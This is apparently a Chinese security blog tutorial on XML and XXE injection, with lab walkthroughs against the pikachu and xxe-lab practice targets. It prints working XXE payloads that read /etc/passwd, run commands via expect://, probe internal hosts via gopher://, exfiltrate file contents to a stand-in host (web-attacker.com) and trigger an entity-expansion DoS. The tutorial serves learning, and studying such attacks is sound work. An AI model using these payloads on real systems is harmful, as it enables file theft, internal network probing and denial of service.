XML外部实体(XXE)

XML外部实体(XXE)

  • XXE前传—初识XML

    • 概述

      • 可扩展标记语言(eXtensible Markup Language),用于存储,传输,交换数据,通过自定义标签描述数据结构,具有平台无关性、自描述性和可扩展性,广泛应用于配置文件、数据交换、Web 服务等场景
    • 基本结构

      • <?xml version="1.0" encoding="UTF-8"?>  <!-- XML声明(可选) -->
        <root>                                  <!-- 根元素(必须唯一) -->
          <book name="如何让富婆爱上我">                      <!-- 元素(标签需闭合) -->
            <title>自我美丽</title>          <!-- 文本内容 -->
            <author>fr</author>
            <price>66.66</price>
            <number>00-000000</number>
          </book>
        </root>
        
      • 根标签只能有一个(<root>),子属性可以有多个,且可以嵌套使用,但要注意闭合(<book>
        <?xml version="1.0" encoding="UTF-8"?>
        <books>
            <book name="30天成就自己">
                <price>12</price>
            </book>
            <book name="60天超越自己">
                <price>24</price>
            </book>
        </books>
        
    • 语法规则

      • 头部声明

        • <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
          
        • version:XML 版本(必须为1.01.1,默认1.0

        • encoding:字符编码(如UTF-8ISO-8859-1,默认UTF-8

        • standalone:是否独立(yes无需外部依赖,no需引用外部文件)

      • 元素(标签)

        • 必须有开始标签(<tag>)和结束标签(</tag>),或自闭合(<tag/>
        • 标签名称区分大小写(如<Title><title>是不同元素)
        • 嵌套必须正确闭合,不能交叉(如<a><b></a></b>错误,应为<a><b></b></a>
      • 属性

        • 用于描述元素特性,格式为属性名="属性值",值必须用引号(单 / 双均可,但需统一)

          <book name="90天创造奇迹" id="1000">
          
      • 转义字符

        • 特殊字符 含义 转义实体
          < 小于号 &lt;
          > 大于号 &gt;
          & 和号 &amp;
          " 双引号 &quot;
          ' 单引号 &apos;
        • 小于号(<:在 XML 中,< 用于开始一个标签。若文本内容里包含 <,XML 解析器会把它误认成标签的开始,从而引发解析错误。所以要将进行转义

        • 大于号(>> 用于结束一个标签。当文本内容包含 > 时,为避免解析器混淆,所以要将进行转义

        • 和号(&& 在 XML 里用于引入转义实体。若文本内容中有 &,解析器会尝试把它后面的字符当作转义实体来解析,进而可能出错。所以要将进行转义

        • 双引号(":双引号常被用于界定属性值。要是属性值中包含双引号,所以要将进行转义

        • 单引号(':单引号同样可用于界定属性值。当属性值包含单引号时,所以要将进行转义

        • 实例

          <?xml version="1.0" encoding="UTF-8"?>
          <message>
              <content>这是一段包含特殊字符的文本:&lt;、&gt;、&amp;、&quot;、&apos;</content>
              <attribute value="属性值中包含 &quot;双引号&quot; 和 &apos;单引号&apos;">示例属性</attribute>
          </message>
          
        • valueattribute 元素的一个属性,属性能够为元素补充额外的描述信息。这里 value 属性的值为 属性值中包含 "双引号" 和 '单引号'

      • CDATA节

        • 用于包含原始字符数据的特殊语法结构,其中的内容会被 XML 解析器视为普通文本,而不会进行标签解析或转义处理,如果不想对内容进行转义,可以使用CDATA节进行包裹

        • <description>
            <![CDATA[
              这是一段包含特殊符号的文本:<example>&sample</example>
            ]]>
          </description>
          

          上述代码中,<example>&sample 不会被解析,而是作为原始文本保留

        • 使用场景
          • 当 XML 元素需要嵌入 HTML 代码(如富文本内容)时,使用 CDATA 节避免解析冲突

            <content>
              <![CDATA[
                <p>这是一段HTML文本,包含<div>标签和&符号</div>
              ]]>
            </content>
            
          • 在 XML 配置文件中嵌入脚本时,CDATA 节可保留代码格式

            <script>
              <![CDATA[
                function example() {
                  console.log("Hello, CDATA!");
                }
              ]]>
            </script>
            
          • 如诗歌、代码示例、配置参数等需要严格保留换行和特殊符号的内容

            <code>
              <![CDATA[
                if (x < y && y > z) {
                  // 这里包含<、>、&符号
                }
              ]]>
            </code>
            
    • DTD(文档类型定义)

      • 作用

        • 验证文档结构:DTD 可以验证 XML 文档是否符合预先定义的结构规则。如果一个 XML 文档引用了某个 DTD,那么该文档必须遵循 DTD 中规定的元素和属性的使用规则,否则将被视为无效文档
        • 提高数据可读性:通过定义元素和属性的含义和使用规则,DTD 可以使 XML 文档的结构更加清晰,提高文档的可读性和可维护性
        • 促进数据交换:在不同系统之间进行数据交换时,DTD 可以作为一种标准,确保双方对数据的结构和含义有一致的理解
      • 语法结构

        • 内部 DTD

          • 直接嵌入在 XML 文档中,通常位于 XML 声明之后、根元素之前,语法格式如下

            <!DOCTYPE 根元素名称 [
                <!-- 元素声明 -->
                <!ELEMENT 元素名称 (元素内容)>
                <!-- 属性声明 -->
                <!ATTLIST 元素名称 属性名称 属性类型 属性默认值>
                <!-- 实体声明 -->
                <!ENTITY 实体名称 "实体内容">
            ]>
            
          • 例如

            <?xml version="1.0" encoding="UTF-8"?>
            <!DOCTYPE bookstore [
                <!ELEMENT bookstore (book+)>
                <!ELEMENT book (title, author, price)>
                <!ELEMENT title (#PCDATA)>
                <!ELEMENT author (#PCDATA)>
                <!ELEMENT price (#PCDATA)>
                <!ATTLIST book category CDATA #IMPLIED>
            ]>
            <bookstore>
                <book category="fiction">
                    <title>Harry Potter</title>
                    <author>J.K. Rowling</author>
                    <price>29.99</price>
                </book>
            </bookstore>
            

            DTD 定义了 bookstore 元素可以包含一个或多个 book 元素,book 元素包含 titleauthorprice 子元素,并且 book 元素有一个可选的 category 属性

        • 外部DTD
          • 外部 DTD 是一个独立的文件,XML 文档可以通过引用该文件来使用 DTD 定义的规则,语法格式如下

            <!DOCTYPE 根元素名称 SYSTEM "DTD 文件的 URL">
            
          • 例如

            <?xml version="1.0" encoding="UTF-8"?>
            <!DOCTYPE bookstore SYSTEM "bookstore.dtd">
            <bookstore>
                <book category="fiction">
                    <title>Harry Potter</title>
                    <author>J.K. Rowling</author>
                    <price>29.99</price>
                </book>
            </bookstore>
            

            其中,bookstore.dtd 是一个独立的 DTD 文件,其内容可以如下

            <!ELEMENT bookstore (book+)>
            <!ELEMENT book (title, author, price)>
            <!ELEMENT title (#PCDATA)>
            <!ELEMENT author (#PCDATA)>
            <!ELEMENT price (#PCDATA)>
            <!ATTLIST book category CDATA #IMPLIED>
            
  • XXE的前世今生

    • 什么是XEE

      • XEE(XML External Entity Injection,XML 外部实体注入)是一种针对解析 XML 输入的应用程序的安全漏洞。在 XML 中,外部实体允许引用外部资源,如文件或网络 URL。攻击者利用此特性,通过构造恶意的 XML 输入,诱使应用程序解析包含恶意外部实体引用的 XML 数据,从而实现读取敏感文件、执行远程请求、发起拒绝服务攻击等目的
    • 原理

      • XML 解析器通常支持外部实体引用,允许在 DTD(文档类型定义)中定义外部实体。攻击者可以在提交的 XML 数据中插入恶意的外部实体定义,当应用程序解析该 XML 时,会尝试加载并解析外部实体所引用的资源,从而导致安全问题

      • 示例

        <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE root [
          <!ENTITY ext SYSTEM "file:///etc/passwd">
        ]>
        <root>&ext;</root>
        

        在这个示例中,定义了一个名为 ext 的外部实体,其引用的资源是本地文件 /etc/passwd(在 Linux 系统中存储用户账户信息)。当应用程序解析这个 XML 时,如果没有正确处理外部实体引用,就会读取并返回 /etc/passwd 文件的内容

      • SYSTEM 关键字用于指定一个外部的 DTD 文件或其他外部资源的位置。当 XML 解析器遇到 SYSTEM 关键字时,会根据其后指定的 URL 去查找并加载相应的资源

    • 常用协议

      • file:// 协议

        • 用于访问本地文件系统中的文件,攻击者借此能读取系统上的敏感文件,像配置文件、用户信息文件等

        • 示例

          <!DOCTYPE root [
            <!ENTITY ext SYSTEM "file:///etc/passwd">
          ]>
          

          在 Linux 系统里,此代码可让攻击者读取 /etc/passwd 文件,该文件存储着用户账户信息。在 Windows 系统中,可使用 file:///C:/Windows/System32/drivers/etc/hosts 来读取 hosts 文件

      • http 和 https 协议

        • 可使受攻击的应用程序向指定的远程服务器发起 HTTP 或 HTTPS 请求。攻击者通过此方式可实现信息泄露、与外部服务器通信,还能触发服务器端对其他资源的请求

        • 示例

          <!DOCTYPE root [
            <!ENTITY ext SYSTEM "http://attacker.com/malicious">
          ]>
          

          当应用程序解析此 XML 时,会向 http://attacker.com/malicious 发起请求,攻击者就能借此获取应用程序的内部信息,或者诱导应用程序执行恶意操作

      • ftp 协议

        • 用于访问 FTP 服务器上的文件。攻击者可利用此协议从 FTP 服务器下载文件,或者上传恶意文件到 FTP 服务器

        • 示例

          <!DOCTYPE root [
            <!ENTITY ext SYSTEM "ftp://ftp.example.com/path/to/file.txt">
          ]>
          

          此代码会让应用程序尝试从指定的 FTP 服务器下载 file.txt 文件

      • expect:// 协议

        • 当应用程序解析包含 expect:// 协议的 XML 外部实体时,它会把实体引用里的内容当作系统命令来执行

        • 示例

          <?xml version="1.0" encoding="UTF-8"?>
          <!DOCTYPE root [
            <!ENTITY cmd SYSTEM "expect://id">
          ]>
          <root>&cmd;</root>
          

          定义了一个名为 cmd 的外部实体,其引用的资源是 expect://idid 是 Unix 系统下用于显示用户身份信息的命令。当应用程序解析这个 XML 时,就会执行 id 命令,并且可能把命令的执行结果包含在 XML 响应中返回给攻击者

        • expect 是 Unix 系统下用于自动化交互式任务的工具,因此目标系统必须是基于 Unix 或类 Unix(如 Linux、macOS)的系统,并且已经安装了 expect 工具。如果目标系统不支持 expect,那么使用 expect:// 协议的攻击将无法成功

      • gopher:// 协议

        • gopher 协议是一种早期的互联网协议,可用于与各种服务进行交互。攻击者利用该协议能构造复杂的请求,对目标系统发起攻击,例如攻击内部的服务端口

        • 示例

          <!DOCTYPE root [
            <!ENTITY gophertest SYSTEM "gopher://127.0.0.1:80/_GET%20/%20HTTP/1.1%0AHost:%20example.com%0A%0A">
          ]>
          <root>&gophertest;</root>
          

          此示例会让应用程序向本地的 80 端口发送一个 HTTP GET 请求,攻击者可借此探测内部网络的服务情况

      • jar:// 协议

        • 用于访问 Java ARchive(JAR)文件中的资源。在基于 Java 的应用程序中,攻击者可利用此协议读取 JAR 文件内的敏感信息

        • 示例

          <!DOCTYPE root [
            <!ENTITY jarfile SYSTEM "jar:file:///path/to/file.jar!/META-INF/MANIFEST.MF">
          ]>
          <root>&jarfile;</root>
          

          该代码会让应用程序尝试读取指定 JAR 文件中的 MANIFEST.MF 文件

      • php:// 协议

        • 在 PHP 环境中,php:// 协议提供了多种访问方式,攻击者可利用它执行代码、读取文件等

        • 示例

          <!DOCTYPE root [
            <!ENTITY phpcode SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
          ]>
          <root>&phpcode;</root>
          

          此代码会将 /etc/passwd 文件的内容进行 Base64 编码后返回

    • 前提条件

      • 系统使用XML解析器处理用户的输入

        • 目标应用程序接收并解析 XML 格式的输入数据。例如通过 HTTP 请求体(如 Content-Type: application/xml)、文件上传(如 XML 文件)或 API 接口(如 SOAP 协议)处理 XML
      • XML 解析器支持外部实体(未禁用 DTD 或外部实体解析)

        • 解析器未禁用 DTD(文档类型定义) 或外部实体加载功能。例如,解析器默认允许加载外部实体(如 <!DOCTYPE> 声明中的 SYSTEMPUBLIC 实体)
      • 用户可控的 XML 输入点

        • 攻击者能够控制 XML 内容的部分或全部,例如通过表单提交、URL 参数、请求头或文件内容注入恶意 XML 数据
    • 一般步骤

      • 发现xml输入点

        • 通过分析目标系统的 API 文档、抓包工具(如 Burp Suite)或页面源码,确定接收 XML 输入的接口(如 Content-Type: application/xml 的 POST 请求、SOAP 服务端点、XML 文件上传功能)
        • 一般场景
          • Web 服务(SOAP、RESTful 接口接受 XML 格式)。
          • 配置文件上传(如用户自定义 XML 配置)。
          • 表单提交(隐藏的 XML 数据字段)
      • 确认解析器支持外部实体

        • 发送包含简单 <!DOCTYPE> 声明的 XML,观察解析器是否报错。若解析器接受并处理 DTD,说明可能支持外部实体
      • 构造恶意 XML payload

        • 基础构造

          <?xml version="1.0" encoding="UTF-8"?>  
          <!DOCTYPE root [  
              <!-- 定义外部实体 -->  
              <!ENTITY 实体名 SYSTEM "协议://资源路径">  
          ]>  
          <root>&实体名;</root>  
          
        • <!DOCTYPE> 声明:开启 DTD 解析,允许定义外部实体

        • <!ENTITY> 标签:通过 SYSTEMPUBLIC 关键字引用外部资源(如文件、网络地址、命令)

      • 协议选择

        • 文件读取
          <!ENTITY file SYSTEM "file:///etc/passwd"> <!-- Linux 敏感文件 -->  
          <!ENTITY file SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts"> <!-- Windows hosts 文件 -->  
          
        • 内网端口探测
          <!ENTITY port SYSTEM "gopher://192.168.1.100:80/_HTTP%20GET%20/%20HTTP/1.1%0AHost:%20target.com"> <!-- 构造 HTTP 请求探测端口 -->  
          
          • 目标地址和端口 192.168.1.100:80:指定了要探测的内网主机 IP 地址和端口号,这里表示尝试与 IP 为 192.168.1.100 的主机的 80 端口建立连接
          • 请求内容 _HTTP%20GET%20/%20HTTP/1.1%0AHost:%20target.com:这是经过 URL 编码后的 HTTP 请求内容。解码后为 HTTP GET / HTTP/1.1\nHost: target.com,这是一个标准的 HTTP GET 请求,用于请求目标主机的根路径资源
        • 命令执行(Unix环境,Linux环境)
          • <!ENTITY cmd SYSTEM "expect://id"> <!-- 执行系统命令 id -->  
            
  • XXE实战

    • XEE-pikachu

      • 进入靶场,发现是一个简单的提交框,提示是接收xml数据的,当然,真正情况下,肯定是不会这么明显表达出来的,所以还是按照基本步骤走一下屏幕截图 2025-04-28 102137

      • 随便输入数据,抓包查看,然后发送至重发模块。可以发现支持XML,并且通过POST传参来提交xml数据

        屏幕截图 2025-04-28 102723

        屏幕截图 2025-04-28 102629

        屏幕截图 2025-04-28 102932

      • 验证是否支持外部实体,payload如下

        <?xml version="1.0" encoding="UTF-8" ?>
        <!DOCTYPE root [
        	<!ENTITY xxe "支持哦">
        ]>
        <root>&xxe;</root>
        
      • 可以发现并没有禁用外部实体
        屏幕截图 2025-04-28 105618

      • 为了验证是否成功,我们在D盘自己创建一个文件,内容如下屏幕截图 2025-04-28 112131

      • 那么直接构造payload,读取文件

        <?xml version="1.0" encoding="UTF-8" ?>
        <!DOCTYPE root [
        	<!ENTITY xxe SYSTEM "file:///D:/flag.txt">
        ]>
        <root>&xxe;</root>
        
      • 最后在提交框进行提交,发现成功回显内容
        屏幕截图 2025-04-28 112535

      • 当然,你也可以根据上面的可以利用的协议自行尝试其他,这里不再赘述,如果你使用的是BP,记得进行URL编码后再提交,如下屏幕截图 2025-04-28 112958

    • xxe-lab

      • 进入靶场,可以发现这是一个简单的登录页面,本次主题在xxe,于是直奔主题,还是老一套步骤屏幕截图 2025-04-28 160627
      • 抓包查看,发现可以解析xml,并且是POST传参屏幕截图 2025-04-28 160906
      • 那么下一步就是验证是否开启了允许外部实体,构造之后发现成功解析了外部实体,那么接下来就可以自己构造其他想要攻击的语句,由于和上一个例题差不多,这里便不再赘述屏幕截图 2025-04-28 161146
  • XXE盲打

    • 奔走于多个靶场,都未找到与此有关的,于是在这给出大致思路

    • 当服务器解析xml但不回显时,可以使用盲XXE

    • payload示例

      <!ENTITY % file SYSTEM "file:///etc/passwd">
      <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
      %eval;
      %exfiltrate;   <!-- 其中%作用与&一样,表示实体参数-->
      
    • 解释

      • 定义名为 file 的 XML 参数实体,包含 /etc/passwd 文件的内容,接着定义名为 eval 的 XML 参数实体,其中包含另一个名为 exfiltrate 的 XML 参数实体的动态声明,向攻击者的网络服务器发出 HTTP 请求时,会对 exfiltrate 实体进行评估,该请求在 URL 查询字符串中包含 file 实体的值,从而实现敏感数据的外泄
  • 错误的XXE(Dos攻击)

    • 攻击者可以构造恶意的 XML 输入,使 XML 解析器在处理过程中发生错误,而这些错误信息可能包含服务器上的敏感信息,如文件路径、系统配置等

    • payload示例

      <?xml version="1.0"?>
      <!DOCTYPE lolz [
          <!ENTITY lol "lol">
          <!ELEMENT lolz (#PCDATA)>
          <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
          <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
          <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
          <!-- 以此类推,继续定义更多的实体,形成指数级膨胀 -->
      ]>
      <lolz>&loln;</lolz>
      
    • 解释

      • 构造一个指数级膨胀的实体,导致解析器耗尽资源,引发 DoS 攻击,同时可能在错误信息中泄露敏感数据

免责声明:所分享的仅用于学习,若有他人用于非法途径,与本人无关,同时,若有错误,还请不吝指出,轻点喷

posted @ 2025-04-28 17:23  水枪装尿,滋谁谁叫  阅读(58)  评论(0)    收藏  举报